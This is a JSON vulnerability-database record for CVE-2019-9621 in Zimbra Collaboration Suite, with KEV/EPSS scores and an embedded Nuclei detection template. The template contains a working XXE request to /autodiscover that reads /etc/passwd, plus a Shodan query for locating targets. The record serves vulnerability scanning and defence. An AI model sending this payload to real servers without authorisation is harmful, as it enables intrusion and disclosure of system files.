{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-9621/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-9621/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-9621/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-9621/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-9621/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-9621"},"sightings":{"href":"/api/v1/sightings/cve-2019-9621"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.81037,"kev":true,"percentile":0.99613},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-9621.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2019-9621\n\ninfo:\n  name: Zimbra Collaboration Suite - SSRF\n  author: riteshs4hu\n  severity: high\n  description: |\n    Zimbra Collaboration Suite before 8.6 patch 13, 8.7.x before 8.7.11 patch 10, and 8.8.x before 8.8.10 patch 7 or 8.8.x before 8.8.11 patch 3 allows SSRF via the ProxyServlet component.\n  impact: |\n    Attackers can perform SSRF, potentially leading to internal network access or further exploitation.\n  remediation: |\n    Update to the latest patched versions: 8.6 patch 13, 8.7.11 patch 10, 8.8.10 patch 7, or 8.8.11 patch 3 or later.\n  reference:\n    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/zimbra_xxe_rce.rb\n    - https://nvd.nist.gov/vuln/detail/cve-2019-9621\n    - http://packetstormsecurity.com/files/153190/Zimbra-XML-Injection-Server-Side-Request-Forgery.html\n    - https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html\n    - https://bugzilla.zimbra.com/show_bug.cgi?id=109127\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2019-9621\n    cwe-id: CWE-918\n    epss-score: 0.81037\n    epss-percentile: 0.99614\n    cpe: cpe:2.3:a:zimbra:collaboration_server:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: zimbra\n    product: collaboration_server\n    shodan-query: html:\"Zimbra Collaboration Suite Web Client\"\n  tags: cve,cve2019,zimbra,collaboration-server,oast,oob,xxe,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /autodiscover HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/xml\n\n        <?xml version=\"1.0\"?>\n        <!DOCTYPE soap [\n        <!ELEMENT soap ANY >\n        <!ENTITY xxe SYSTEM \"file:///etc/passwd\" >]>\n        <Autodiscover>\n          <Request>\n            <EMailAddress>test@example.com</EMailAddress>\n            <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>\n          </Request>\n        </Autodiscover>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - regex('root:.*:0:0:', body)\n          - contains(body, \"response schema\")\n          - contains(header, \"text/html\")\n        condition: and\n# digest: 4b0a00483046022100910321f32d8ebf0ed74afd8d8f6af8aaaadd53f21df6b15764e1f4232b30a252022100ed03dbd6c579c20b8c463d55071da8ead433fb1146cd12bc8ac425e5af63feba:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2019-9621"}